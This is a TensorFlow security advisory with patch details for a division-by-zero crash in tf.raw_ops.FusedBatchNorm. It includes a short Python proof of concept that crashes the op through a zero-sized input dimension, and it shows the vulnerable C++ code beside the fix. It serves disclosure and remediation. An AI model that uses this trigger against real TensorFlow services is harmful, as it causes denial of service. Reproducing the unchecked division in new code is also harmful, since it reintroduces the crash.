Vulnerability: Division by 0 in `FusedBatchNorm` ### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:

```python
import tensorflow as tf

x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
    x=x, scale=scale, offset=offset, mean=mean,
    variance=variance, epsilon=epsilon,
    exponential_avg_factor=exponential_avg_factor,
    data_format=data_format, is_training=is_training)
``` 
  
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:

```cc 
const int depth = x.dimension(3);
const int rest_size = size / depth;
```

Since this is controlled by the user, an attacker can trigger a denial of service.

### Patches
We have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Vulnerability ID: GHSA-r35g-4525-29fq
CWE: CWE-369
Severity score: 2.5
Project: https://github.com/tensorflow/tensorflow
Published: 2021-05-21
File: tensorflow/core/kernels/fused_batch_norm_op.cc
Commit message: Fix FPE issue with `tf.raw_ops.FusedBatchNorm`.

PiperOrigin-RevId: 370948185
Change-Id: If0c8e0320062ed6363e94ff5fe38e6a301f69ac2
Commit author: Amit Patankar

Vulnerable version (before fix):
 struct FusedBatchNorm<CPUDevice, T, U, /* is_training= */ false> {     const CPUDevice& d = context->eigen_device<CPUDevice>();      const int depth = x.dimension(3);     const int size = x.size();     const int rest_size = size / depth;     Eigen::DSizes<Eigen::Index, 2> rest_by_depth(rest_size, depth);

Fixed version (after fix):
 struct FusedBatchNorm<CPUDevice, T, U, /* is_training= */ false> {     const CPUDevice& d = context->eigen_device<CPUDevice>();      const int depth = x.dimension(3);     OP_REQUIRES(         context, depth != 0,         errors::Internal("The 4th element in the input shape cannot be 0."));     const int size = x.size();     const int rest_size = size / depth;     Eigen::DSizes<Eigen::Index, 2> rest_by_depth(rest_size, depth);

Patch:
patch: @@ -293,6 +293,9 @@ struct FusedBatchNorm<CPUDevice, T, U, /* is_training= */ false> {
     const CPUDevice& d = context->eigen_device<CPUDevice>();
 
     const int depth = x.dimension(3);
+    OP_REQUIRES(
+        context, depth != 0,
+        errors::Internal("The 4th element in the input shape cannot be 0."));
     const int size = x.size();
     const int rest_size = size / depth;
     Eigen::DSizes<Eigen::Index, 2> rest_by_depth(rest_size, depth);
path: tensorflow/core/kernels/fused_batch_norm_op.cc